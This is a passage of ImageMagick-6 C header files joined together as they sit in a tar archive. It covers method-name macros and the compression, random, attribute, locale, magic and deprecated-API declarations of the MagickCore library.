PrependMagickMethod(UnregisterRAWImage) #define UnregisterRGBImage PrependMagickMethod(UnregisterRGBImage) #define UnregisterRGFImage PrependMagickMethod(UnregisterRGFImage) #define UnregisterRLAImage PrependMagickMethod(UnregisterRLAImage) #define UnregisterRLEImage PrependMagickMethod(UnregisterRLEImage) #define UnregisterSCREENSHOTImage PrependMagickMethod(UnregisterSCREENSHOTImage) #define UnregisterSCRImage PrependMagickMethod(UnregisterSCRImage) #define UnregisterSCTImage PrependMagickMethod(UnregisterSCTImage) #define UnregisterSFWImage PrependMagickMethod(UnregisterSFWImage) #define UnregisterSGIImage PrependMagickMethod(UnregisterSGIImage) #define UnregisterSIXELImage PrependMagickMethod(UnregisterSIXELImage) #define UnregisterStaticModule PrependMagickMethod(UnregisterStaticModule) #define UnregisterStaticModules PrependMagickMethod(UnregisterStaticModules) #define UnregisterSTEGANOImage PrependMagickMethod(UnregisterSTEGANOImage) #define UnregisterSUNImage PrependMagickMethod(UnregisterSUNImage) #define UnregisterSVGImage PrependMagickMethod(UnregisterSVGImage) #define UnregisterTGAImage PrependMagickMethod(UnregisterTGAImage) #define UnregisterTHUMBNAILImage PrependMagickMethod(UnregisterTHUMBNAILImage) #define UnregisterTIFFImage PrependMagickMethod(UnregisterTIFFImage) #define UnregisterTILEImage PrependMagickMethod(UnregisterTILEImage) #define UnregisterTIMImage PrependMagickMethod(UnregisterTIMImage) #define UnregisterTTFImage PrependMagickMethod(UnregisterTTFImage) #define UnregisterTXTImage PrependMagickMethod(UnregisterTXTImage) #define UnregisterUILImage PrependMagickMethod(UnregisterUILImage) #define UnregisterUndefinedImage PrependMagickMethod(UnregisterUndefinedImage) #define UnregisterURLImage PrependMagickMethod(UnregisterURLImage) #define UnregisterUYVYImage PrependMagickMethod(UnregisterUYVYImage) #define UnregisterVICARImage PrependMagickMethod(UnregisterVICARImage) #define UnregisterVIDEOImage PrependMagickMethod(UnregisterVIDEOImage) #define UnregisterVIDImage PrependMagickMethod(UnregisterVIDImage) #define UnregisterVIFFImage PrependMagickMethod(UnregisterVIFFImage) #define UnregisterVIPSImage PrependMagickMethod(UnregisterVIPSImage) #define UnregisterWBMPImage PrependMagickMethod(UnregisterWBMPImage) #define UnregisterWEBPImage PrependMagickMethod(UnregisterWEBPImage) #define UnregisterWPGImage PrependMagickMethod(UnregisterWPGImage) #define UnregisterXBMImage PrependMagickMethod(UnregisterXBMImage) #define UnregisterXCFImage PrependMagickMethod(UnregisterXCFImage) #define UnregisterXCImage PrependMagickMethod(UnregisterXCImage) #define UnregisterXImage PrependMagickMethod(UnregisterXImage) #define UnregisterXPMImage PrependMagickMethod(UnregisterXPMImage) #define UnregisterXPSImage PrependMagickMethod(UnregisterXPSImage) #define UnregisterXWDImage PrependMagickMethod(UnregisterXWDImage) #define UnregisterYCBCRImage PrependMagickMethod(UnregisterYCBCRImage) #define UnregisterYUVImage PrependMagickMethod(UnregisterYUVImage) #define UnsharpMaskImageChannel PrependMagickMethod(UnsharpMaskImageChannel) #define UnsharpMaskImage PrependMagickMethod(UnsharpMaskImage) #define UnshiftImageList PrependMagickMethod(UnshiftImageList) #define UpdateImageViewIterator PrependMagickMethod(UpdateImageViewIterator) #define UpdateSignature PrependMagickMethod(UpdateSignature) #define ValidateColormapIndex PrependMagickMethod(ValidateColormapIndex) #define VignetteImage PrependMagickMethod(VignetteImage) #define WaveImage PrependMagickMethod(WaveImage) #define WaveletDenoiseImage PrependMagickMethod(WaveletDenoiseImage) #define WhiteThresholdImageChannel PrependMagickMethod(WhiteThresholdImageChannel) #define WhiteThresholdImage PrependMagickMethod(WhiteThresholdImage) #define WriteBlobByte PrependMagickMethod(WriteBlobByte) #define WriteBlobFloat PrependMagickMethod(WriteBlobFloat) #define WriteBlobLong PrependMagickMethod(WriteBlobLong) #define WriteBlobLSBLong PrependMagickMethod(WriteBlobLSBLong) #define WriteBlobLSBShort PrependMagickMethod(WriteBlobLSBShort) #define WriteBlobLSBSignedLong PrependMagickMethod(WriteBlobLSBSignedLong) #define WriteBlobLSBSignedShort PrependMagickMethod(WriteBlobLSBSignedShort) #define WriteBlobMSBLongLong PrependMagickMethod(WriteBlobMSBLongLong) #define WriteBlobMSBLong PrependMagickMethod(WriteBlobMSBLong) #define WriteBlobMSBShort PrependMagickMethod(WriteBlobMSBShort) #define WriteBlobMSBSignedLong PrependMagickMethod(WriteBlobMSBSignedLong) #define WriteBlobMSBSignedShort PrependMagickMethod(WriteBlobMSBSignedShort) #define WriteBlob PrependMagickMethod(WriteBlob) #define WriteBlobShort PrependMagickMethod(WriteBlobShort) #define WriteBlobString PrependMagickMethod(WriteBlobString) #define WriteDistributePixelCacheIndexes PrependMagickMethod(WriteDistributePixelCacheIndexes) #define WriteDistributePixelCachePixels PrependMagickMethod(WriteDistributePixelCachePixels) #define WriteImage PrependMagickMethod(WriteImage) #define WriteImages PrependMagickMethod(WriteImages) #define WriteStream PrependMagickMethod(WriteStream) #define XAnimateBackgroundImage PrependMagickMethod(XAnimateBackgroundImage) #define XAnimateImages PrependMagickMethod(XAnimateImages) #define XAnnotateImage PrependMagickMethod(XAnnotateImage) #define XBestFont PrependMagickMethod(XBestFont) #define XBestIconSize PrependMagickMethod(XBestIconSize) #define XBestPixel PrependMagickMethod(XBestPixel) #define XBestVisualInfo PrependMagickMethod(XBestVisualInfo) #define XCheckDefineCursor PrependMagickMethod(XCheckDefineCursor) #define XCheckRefreshWindows PrependMagickMethod(XCheckRefreshWindows) #define XClientMessage PrependMagickMethod(XClientMessage) #define XColorBrowserWidget PrependMagickMethod(XColorBrowserWidget) #define XCommandWidget PrependMagickMethod(XCommandWidget) #define XComponentGenesis PrependMagickMethod(XComponentGenesis) #define XComponentTerminus PrependMagickMethod(XComponentTerminus) #define XConfigureImageColormap PrependMagickMethod(XConfigureImageColormap) #define XConfirmWidget PrependMagickMethod(XConfirmWidget) #define XConstrainWindowPosition PrependMagickMethod(XConstrainWindowPosition) #define XDelay PrependMagickMethod(XDelay) #define XDestroyResourceInfo PrependMagickMethod(XDestroyResourceInfo) #define XDestroyWindowColors PrependMagickMethod(XDestroyWindowColors) #define XDialogWidget PrependMagickMethod(XDialogWidget) #define XDisplayBackgroundImage PrependMagickMethod(XDisplayBackgroundImage) #define XDisplayImageInfo PrependMagickMethod(XDisplayImageInfo) #define XDisplayImage PrependMagickMethod(XDisplayImage) #define XDrawImage PrependMagickMethod(XDrawImage) #define XError PrependMagickMethod(XError) #define XFileBrowserWidget PrependMagickMethod(XFileBrowserWidget) #define XFontBrowserWidget PrependMagickMethod(XFontBrowserWidget) #define XFreeResources PrependMagickMethod(XFreeResources) #define XFreeStandardColormap PrependMagickMethod(XFreeStandardColormap) #define XGetAnnotateInfo PrependMagickMethod(XGetAnnotateInfo) #define XGetImportInfo PrependMagickMethod(XGetImportInfo) #define XGetMapInfo PrependMagickMethod(XGetMapInfo) #define XGetPixelPacket PrependMagickMethod(XGetPixelPacket) #define XGetResourceClass PrependMagickMethod(XGetResourceClass) #define XGetResourceDatabase PrependMagickMethod(XGetResourceDatabase) #define XGetResourceInfo PrependMagickMethod(XGetResourceInfo) #define XGetResourceInstance PrependMagickMethod(XGetResourceInstance) #define XGetScreenDensity PrependMagickMethod(XGetScreenDensity) #define XGetWindowColor PrependMagickMethod(XGetWindowColor) #define XGetWindowInfo PrependMagickMethod(XGetWindowInfo) #define XHighlightEllipse PrependMagickMethod(XHighlightEllipse) #define XHighlightLine PrependMagickMethod(XHighlightLine) #define XHighlightRectangle PrependMagickMethod(XHighlightRectangle) #define XImportImage PrependMagickMethod(XImportImage) #define XInfoWidget PrependMagickMethod(XInfoWidget) #define XInitializeWindows PrependMagickMethod(XInitializeWindows) #define XListBrowserWidget PrependMagickMethod(XListBrowserWidget) #define XMagickProgressMonitor PrependMagickMethod(XMagickProgressMonitor) #define XMakeCursor PrependMagickMethod(XMakeCursor) #define XMakeImage PrependMagickMethod(XMakeImage) #define XMakeMagnifyImage PrependMagickMethod(XMakeMagnifyImage) #define XMakeStandardColormap PrependMagickMethod(XMakeStandardColormap) #define XMakeWindow PrependMagickMethod(XMakeWindow) #define XMenuWidget PrependMagickMethod(XMenuWidget) #define XMLTreeInfoToXML PrependMagickMethod(XMLTreeInfoToXML) #define XNoticeWidget PrependMagickMethod(XNoticeWidget) #define XPreferencesWidget PrependMagickMethod(XPreferencesWidget) #define XProgressMonitorWidget PrependMagickMethod(XProgressMonitorWidget) #define XQueryColorDatabase PrependMagickMethod(XQueryColorDatabase) #define XQueryPosition PrependMagickMethod(XQueryPosition) #define XRefreshWindow PrependMagickMethod(XRefreshWindow) #define XRemoteCommand PrependMagickMethod(XRemoteCommand) #define XRenderImage PrependMagickMethod(XRenderImage) #define XRetainWindowColors PrependMagickMethod(XRetainWindowColors) #define XSetCursorState PrependMagickMethod(XSetCursorState) #define XSetWindows PrependMagickMethod(XSetWindows) #define XTextViewWidget PrependMagickMethod(XTextViewWidget) #define XUserPreferences PrependMagickMethod(XUserPreferences) #define XWarning PrependMagickMethod(XWarning) #define XWindowByID PrependMagickMethod(XWindowByID) #define XWindowByName PrependMagickMethod(XWindowByName) #define XWindowByProperty PrependMagickMethod(XWindowByProperty) #define ZeroKernelNans PrependMagickMethod(ZeroKernelNans) #define ZLIBEncodeImage PrependMagickMethod(ZLIBEncodeImage) #define ZoomImage PrependMagickMethod(ZoomImage) #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/compress.h 0000644 00000004035 15246445047 0012321 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image compression/decompression methods. */ #ifndef MAGICKCORE_COMPRESS_H #define MAGICKCORE_COMPRESS_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedCompression, NoCompression, BZipCompression, DXT1Compression, DXT3Compression, DXT5Compression, FaxCompression, Group4Compression, JPEGCompression, JPEG2000Compression, /* ISO/IEC std 15444-1 */ LosslessJPEGCompression, LZWCompression, RLECompression, ZipCompression, ZipSCompression, PizCompression, Pxr24Compression, B44Compression, B44ACompression, LZMACompression, /* Lempel-Ziv-Markov chain algorithm */ JBIG1Compression, /* ISO/IEC std 11544 / ITU-T rec T.82 */ JBIG2Compression, /* ISO/IEC std 14492 / ITU-T rec T.88 */ ZstdCompression, WebPCompression } CompressionType; typedef struct _Ascii85Info Ascii85Info; extern MagickExport MagickBooleanType HuffmanDecodeImage(Image *), HuffmanEncodeImage(const ImageInfo *,Image *,Image *), LZWEncodeImage(Image *,const size_t,unsigned char *magick_restrict), PackbitsEncodeImage(Image *,const size_t,unsigned char *magick_restrict), ZLIBEncodeImage(Image *,const size_t,unsigned char *magick_restrict); extern MagickExport void Ascii85Encode(Image *,const unsigned char), Ascii85Flush(Image *), Ascii85Initialize(Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/random_.h 0000644 00000003203 15246445047 0012101 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore random methods. */ #ifndef MAGICKCORE_RANDOM__H #define MAGICKCORE_RANDOM__H #include "magick/string_.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* Typedef declarations. */ typedef struct _RandomInfo RandomInfo; /* Method declarations. */ extern MagickExport double GetRandomValue(RandomInfo *), GetPseudoRandomValue(RandomInfo *magick_restrict); extern MagickExport MagickBooleanType RandomComponentGenesis(void); extern MagickExport RandomInfo *AcquireRandomInfo(void), *DestroyRandomInfo(RandomInfo *); extern MagickExport StringInfo *GetRandomKey(RandomInfo *,const size_t); extern MagickExport unsigned long GetRandomSecretKey(const RandomInfo *); extern MagickExport void RandomComponentTerminus(void), SeedPseudoRandomGenerator(const unsigned long), SetRandomKey(RandomInfo *,const size_t,unsigned char *), SetRandomSecretKey(const unsigned long), SetRandomTrueRandom(const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/attribute.h 0000644 00000003421 15246445047 0012467 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore methods to set or get image attributes. */ #ifndef MAGICKCORE_ATTRIBUTE_H #define MAGICKCORE_ATTRIBUTE_H #include "magick/image.h" #include "magick/exception.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport ImageType GetImageType(const Image *,ExceptionInfo *), IdentifyImageGray(const Image *,ExceptionInfo *), IdentifyImageType(const Image *,ExceptionInfo *); extern MagickExport MagickBooleanType IdentifyImageMonochrome(const Image *,ExceptionInfo *), IsGrayImage(const Image *,ExceptionInfo *), IsMonochromeImage(const Image *,ExceptionInfo *), IsOpaqueImage(const Image *,ExceptionInfo *), SetImageChannelDepth(Image *,const ChannelType,const size_t), SetImageDepth(Image *,const size_t), SetImageType(Image *,const ImageType); extern MagickExport RectangleInfo GetImageBoundingBox(const Image *,ExceptionInfo *exception); extern MagickExport size_t GetImageChannelDepth(const Image *,const ChannelType,ExceptionInfo *), GetImageDepth(const Image *,ExceptionInfo *), GetImageQuantumDepth(const Image *,const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/locale_.h 0000644 00000005161 15246445047 0012065 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore locale methods. */ #ifndef MAGICKCORE_LOCALE_H #define MAGICKCORE_LOCALE_H #include "magick/hashmap.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _LocaleInfo { char *path, *tag, *message; MagickBooleanType stealth; struct _LocaleInfo *previous, *next; /* deprecated, use GetLocaleInfoList() */ size_t signature; } LocaleInfo; extern MagickExport char **GetLocaleList(const char *,size_t *,ExceptionInfo *); extern MagickExport const char *GetLocaleMessage(const char *); extern MagickExport const LocaleInfo *GetLocaleInfo_(const char *,ExceptionInfo *), **GetLocaleInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport double InterpretLocaleValue(const char *magick_restrict,char **magick_restrict); extern MagickExport int LocaleCompare(const char *,const char *) magick_attribute((__pure__)), LocaleLowercase(const int), LocaleNCompare(const char *,const char *,const size_t) magick_attribute((__pure__)), LocaleUppercase(const int); extern MagickExport LinkedListInfo *DestroyLocaleOptions(LinkedListInfo *), *GetLocaleOptions(const char *,ExceptionInfo *); extern MagickExport MagickBooleanType ListLocaleInfo(FILE *,ExceptionInfo *), LocaleComponentGenesis(void); extern MagickExport ssize_t FormatLocaleFile(FILE *,const char *magick_restrict,...) magick_attribute((__format__ (__printf__,2,3))), FormatLocaleFileList(FILE *,const char *magick_restrict,va_list) magick_attribute((__format__ (__printf__,2,0))), FormatLocaleString(char *magick_restrict,const size_t, const char *magick_restrict,...) magick_attribute((__format__ (__printf__,3,4))), FormatLocaleStringList(char *magick_restrict,const size_t, const char *magick_restrict, va_list) magick_attribute((__format__ (__printf__,3,0))); extern MagickExport void LocaleComponentTerminus(void), LocaleLower(char *), LocaleUpper(char *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/magic.h 0000644 00000003166 15246445047 0011552 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore magic methods. */ #ifndef MAGICKCORE_MAGIC_H #define MAGICKCORE_MAGIC_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _MagicInfo { char *path, *name, *target; unsigned char *magic; size_t length; MagickOffsetType offset; MagickBooleanType exempt, stealth; struct _MagicInfo *previous, *next; /* deprecated, use GetMagicInfoList() */ size_t signature; } MagicInfo; extern MagickExport char **GetMagicList(const char *,size_t *,ExceptionInfo *); extern MagickExport const char *GetMagicName(const MagicInfo *); extern MagickExport MagickBooleanType ListMagicInfo(FILE *,ExceptionInfo *), MagicComponentGenesis(void); extern MagickExport const MagicInfo *GetMagicInfo(const unsigned char *,const size_t,ExceptionInfo *), **GetMagicInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport void MagicComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/deprecate.h 0000644 00000042106 15246445047 0012423 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore deprecated methods. */ #ifndef MAGICKCORE_DEPRECATE_H #define MAGICKCORE_DEPRECATE_H #include <stdarg.h> #include "magick/blob.h" #include "magick/cache-view.h" #include "magick/draw.h" #include "magick/constitute.h" #include "magick/magick-config.h" #include "magick/pixel.h" #include "magick/quantize.h" #include "magick/quantum.h" #include "magick/registry.h" #include "magick/semaphore.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if !defined(MAGICKCORE_EXCLUDE_DEPRECATED) #if !defined(magick_attribute) # if !defined(__clang__) && !defined(__GNUC__) # define magick_attribute(x) /*nothing*/ # else # define magick_attribute __attribute__ # endif #endif #define Downscale(quantum) ScaleQuantumToChar(quantum) #define LABColorspace LabColorspace #define CompressPixelGamma(pixel) DecodePixelGamma(pixel) #define DecodesRGBGamma(pixel) DecodePixelGamma(pixel) #define EncodesRGBGamma(pixel) EncodePixelGamma(pixel) #define ExpandPixelGamma(pixel) EncodePixelGamma(pixel) #define Intensity(color) PixelIntensityToQuantum(color) #define LiberateUniqueFileResource(resource) \ RelinquishUniqueFileResource(resource) #define LiberateMagickResource(resource) RelinquishMagickResource(resource) #define LiberateSemaphore(semaphore) RelinquishSemaphore(semaphore) #define MagickHuge 3.4e+38F #define MaxRGB QuantumRange /* deprecated */ #define QuantumDepth MAGICKCORE_QUANTUM_DEPTH #define RunlengthEncodedCompression RLECompression #define Upscale(value) ScaleCharToQuantum(value) #define XDownscale(value) ScaleShortToQuantum(value) #define XUpscale(quantum) ScaleQuantumToShort(quantum) typedef enum { UndefinedMagickLayerMethod } MagickLayerMethod; typedef MagickOffsetType ExtendedSignedIntegralType; typedef MagickSizeType ExtendedUnsignedIntegralType; typedef MagickRealType ExtendedRationalType; typedef struct _ViewInfo ViewInfo; typedef MagickBooleanType (*MonitorHandler)(const char *,const MagickOffsetType,const MagickSizeType, ExceptionInfo *); typedef struct _ImageAttribute { char *key, *value; MagickBooleanType compression; struct _ImageAttribute *previous, *next; /* deprecated */ } ImageAttribute; extern MagickExport CacheView *CloseCacheView(CacheView *) magick_attribute((deprecated)), *OpenCacheView(const Image *) magick_attribute((deprecated)); extern MagickExport char *AllocateString(const char *) magick_attribute((deprecated)), *InterpretImageAttributes(const ImageInfo *,Image *,const char *) magick_attribute((deprecated)), *PostscriptGeometry(const char *) magick_attribute((deprecated)), *TranslateText(const ImageInfo *,Image *,const char *) magick_attribute((deprecated)); extern MagickExport const ImageAttribute *GetImageAttribute(const Image *,const char *), *GetImageClippingPathAttribute(Image *) magick_attribute((deprecated)), *GetNextImageAttribute(const Image *) magick_attribute((deprecated)); extern MagickExport const IndexPacket *AcquireCacheViewIndexes(const CacheView *) magick_attribute((deprecated)), *AcquireIndexes(const Image *) magick_attribute((deprecated)); extern MagickExport const PixelPacket *AcquirePixels(const Image *) magick_attribute((deprecated)), *AcquireCacheViewPixels(const CacheView *,const ssize_t,const ssize_t, const size_t,const size_t,ExceptionInfo *) magick_attribute((deprecated)), *AcquireImagePixels(const Image *,const ssize_t,const ssize_t,const size_t, const size_t,ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport FILE *OpenMagickStream(const char *,const char *); extern MagickExport Image *AllocateImage(const ImageInfo *) magick_attribute((deprecated)), *AverageImages(const Image *,ExceptionInfo *), *ExtractSubimageFromImage(Image *,const Image *,ExceptionInfo *) magick_attribute((deprecated)), *GetImageFromMagickRegistry(const char *,ssize_t *id,ExceptionInfo *) magick_attribute((deprecated)), *GetImageList(const Image *,const ssize_t,ExceptionInfo *) magick_attribute((deprecated)), *GetNextImage(const Image *) magick_attribute((deprecated)), *GetPreviousImage(const Image *) magick_attribute((deprecated)), *FlattenImages(Image *,ExceptionInfo *) magick_attribute((deprecated)), *MaximumImages(const Image *,ExceptionInfo *), *MedianFilterImage(const Image *,const double,ExceptionInfo *), *ModeImage(const Image *,const double,ExceptionInfo *), *MinimumImages(const Image *,ExceptionInfo *), *MosaicImages(Image *,ExceptionInfo *) magick_attribute((deprecated)), *PopImageList(Image **) magick_attribute((deprecated)), *RadialBlurImage(const Image *,const double,ExceptionInfo *) magick_attribute((deprecated)), *RadialBlurImageChannel(const Image *,const ChannelType,const double, ExceptionInfo *) magick_attribute((deprecated)), *RecolorImage(const Image *,const size_t,const double *,ExceptionInfo *) magick_attribute((deprecated)), *ReduceNoiseImage(const Image *,const double,ExceptionInfo *), *ShiftImageList(Image **) magick_attribute((deprecated)), *SpliceImageList(Image *,const ssize_t,const size_t,const Image *, ExceptionInfo *) magick_attribute((deprecated)), *ZoomImage(const Image *,const size_t,const size_t,ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport IndexPacket *GetCacheViewIndexes(CacheView *) magick_attribute((deprecated)), *GetIndexes(const Image *) magick_attribute((deprecated)), ValidateColormapIndex(Image *,const size_t) magick_attribute((deprecated)); extern MagickExport int GetImageGeometry(Image *,const char *,const unsigned int,RectangleInfo *) magick_attribute((deprecated)), ParseImageGeometry(const char *,ssize_t *,ssize_t *,size_t *,size_t *) magick_attribute((deprecated)), SystemCommand(const MagickBooleanType,const MagickBooleanType,const char *, ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport MagickBooleanType AcquireOneCacheViewPixel(const CacheView *,const ssize_t,const ssize_t, PixelPacket *,ExceptionInfo *) magick_attribute((deprecated)), AcquireOneCacheViewVirtualPixel(const CacheView *,const VirtualPixelMethod, const ssize_t,const ssize_t,PixelPacket *,ExceptionInfo *) magick_attribute((deprecated)), AffinityImage(const QuantizeInfo *,Image *,const Image *) magick_attribute((deprecated)), AffinityImages(const QuantizeInfo *,Image *,const Image *) magick_attribute((deprecated)), AllocateImageColormap(Image *,const size_t) magick_attribute((deprecated)), ClipPathImage(Image *,const char *,const MagickBooleanType) magick_attribute((deprecated)), CloneImageAttributes(Image *,const Image *) magick_attribute((deprecated)), ColorFloodfillImage(Image *,const DrawInfo *,const PixelPacket,const ssize_t, const ssize_t,const PaintMethod) magick_attribute((deprecated)), ConstituteComponentGenesis(void) magick_attribute((deprecated)), DeleteImageAttribute(Image *,const char *) magick_attribute((deprecated)), DeleteMagickRegistry(const ssize_t) magick_attribute((deprecated)), DescribeImage(Image *,FILE *,const MagickBooleanType) magick_attribute((deprecated)), FormatImageAttribute(Image *,const char *,const char *,...) magick_attribute((__format__ (__printf__,3,4))) magick_attribute((deprecated)), FormatImageAttributeList(Image *,const char *,const char *,va_list) magick_attribute((__format__ (__printf__,3,0))) magick_attribute((deprecated)), FormatImagePropertyList(Image *,const char *,const char *,va_list) magick_attribute((__format__ (__printf__,3,0))), FuzzyColorCompare(const Image *,const PixelPacket *,const PixelPacket *) magick_attribute((deprecated)), FuzzyOpacityCompare(const Image *,const PixelPacket *,const PixelPacket *) magick_attribute((deprecated)), InitializeModuleList(ExceptionInfo *) magick_attribute((deprecated)), IsMagickInstantiated(void) magick_attribute((deprecated)), LevelImageColors(Image *,const ChannelType,const MagickPixelPacket *, const MagickPixelPacket *, const MagickBooleanType) magick_attribute((deprecated)), LoadMimeLists(const char *,ExceptionInfo *) magick_attribute((deprecated)), MagickMonitor(const char *,const MagickOffsetType,const MagickSizeType, void *) magick_attribute((deprecated)), MapImage(Image *,const Image *,const MagickBooleanType) magick_attribute((deprecated)), MapImages(Image *,const Image *,const MagickBooleanType) magick_attribute((deprecated)), MatteFloodfillImage(Image *,const PixelPacket,const Quantum,const ssize_t, const ssize_t,const PaintMethod) magick_attribute((deprecated)), OpaqueImage(Image *,const PixelPacket,const PixelPacket) magick_attribute((deprecated)), PaintFloodfillImage(Image *,const ChannelType,const MagickPixelPacket *, const ssize_t,const ssize_t,const DrawInfo *,const PaintMethod) magick_attribute((deprecated)), PaintOpaqueImage(Image *,const MagickPixelPacket *,const MagickPixelPacket *) magick_attribute((deprecated)), PaintOpaqueImageChannel(Image *,const ChannelType,const MagickPixelPacket *, const MagickPixelPacket *) magick_attribute((deprecated)), PaintTransparentImage(Image *,const MagickPixelPacket *,const Quantum) magick_attribute((deprecated)), SetExceptionInfo(ExceptionInfo *,ExceptionType) magick_attribute((deprecated)), SetImageAttribute(Image *,const char *,const char *) magick_attribute((deprecated)), SyncCacheViewPixels(CacheView *) magick_attribute((deprecated)), SyncImagePixels(Image *) magick_attribute((deprecated)), TransparentImage(Image *,const PixelPacket,const Quantum) magick_attribute((deprecated)); extern MagickExport MagickPixelPacket AcquireOneMagickPixel(const Image *,const ssize_t,const ssize_t, ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport MonitorHandler GetMonitorHandler(void) magick_attribute((deprecated)), SetMonitorHandler(MonitorHandler) magick_attribute((deprecated)); extern MagickExport MagickOffsetType SizeBlob(Image *image) magick_attribute((deprecated)); extern MagickExport MagickPixelPacket InterpolatePixelColor(const Image *,CacheView *,const InterpolatePixelMethod, const double,const double,ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport MagickStatusType ParseSizeGeometry(const Image *,const char *,RectangleInfo *) magick_attribute((deprecated)); extern MagickExport PixelPacket AcquireOnePixel(const Image *,const ssize_t,const ssize_t,ExceptionInfo *) magick_attribute((deprecated)), AcquireOneVirtualPixel(const Image *,const VirtualPixelMethod,const ssize_t, const ssize_t,ExceptionInfo *) magick_attribute((deprecated)), *GetCacheView(CacheView *,const ssize_t,const ssize_t,const size_t, const size_t) magick_attribute((deprecated)), *GetCacheViewPixels(CacheView *,const ssize_t,const ssize_t,const size_t, const size_t) magick_attribute((deprecated)), *GetImagePixels(Image *,const ssize_t,const ssize_t,const size_t, const size_t) magick_attribute((deprecated)), GetOnePixel(Image *,const ssize_t,const ssize_t) magick_attribute((deprecated)), *GetPixels(const Image *) magick_attribute((deprecated)), *SetCacheViewPixels(CacheView *,const ssize_t,const ssize_t,const size_t, const size_t) magick_attribute((deprecated)), *SetImagePixels(Image *,const ssize_t,const ssize_t,const size_t, const size_t) magick_attribute((deprecated)); extern MagickExport MagickRealType InversesRGBCompandor(const MagickRealType) magick_attribute((deprecated)), sRGBCompandor(const MagickRealType) magick_attribute((deprecated)); extern MagickExport size_t GetImageListSize(const Image *) magick_attribute((deprecated)), PopImagePixels(Image *,const QuantumType,unsigned char *) magick_attribute((deprecated)), PushImagePixels(Image *,const QuantumType,const unsigned char *) magick_attribute((deprecated)); extern MagickExport ssize_t FormatMagickString(char *,const size_t,const char *,...) magick_attribute((__format__ (__printf__,3,4))) magick_attribute((deprecated)), FormatMagickStringList(char *,const size_t,const char *,va_list) magick_attribute((__format__ (__printf__,3,0))), GetImageListIndex(const Image *) magick_attribute((deprecated)), SetMagickRegistry(const RegistryType,const void *,const size_t, ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport unsigned int ChannelImage(Image *,const ChannelType) magick_attribute((deprecated)), ChannelThresholdImage(Image *,const char *) magick_attribute((deprecated)), DispatchImage(const Image *,const ssize_t,const ssize_t,const size_t, const size_t,const char *,const StorageType,void *,ExceptionInfo *) magick_attribute((deprecated)), FuzzyColorMatch(const PixelPacket *,const PixelPacket *,const double) magick_attribute((deprecated)), GetNumberScenes(const Image *) magick_attribute((deprecated)), GetMagickGeometry(const char *,ssize_t *,ssize_t *,size_t *,size_t *) magick_attribute((deprecated)), IsSubimage(const char *,const unsigned int) magick_attribute((deprecated)), PushImageList(Image **,const Image *,ExceptionInfo *) magick_attribute((deprecated)), QuantizationError(Image *) magick_attribute((deprecated)), RandomChannelThresholdImage(Image *,const char *,const char *, ExceptionInfo *) magick_attribute((deprecated)), SetImageList(Image **,const Image *,const ssize_t,ExceptionInfo *) magick_attribute((deprecated)), TransformColorspace(Image *,const ColorspaceType) magick_attribute((deprecated)), ThresholdImage(Image *,const double) 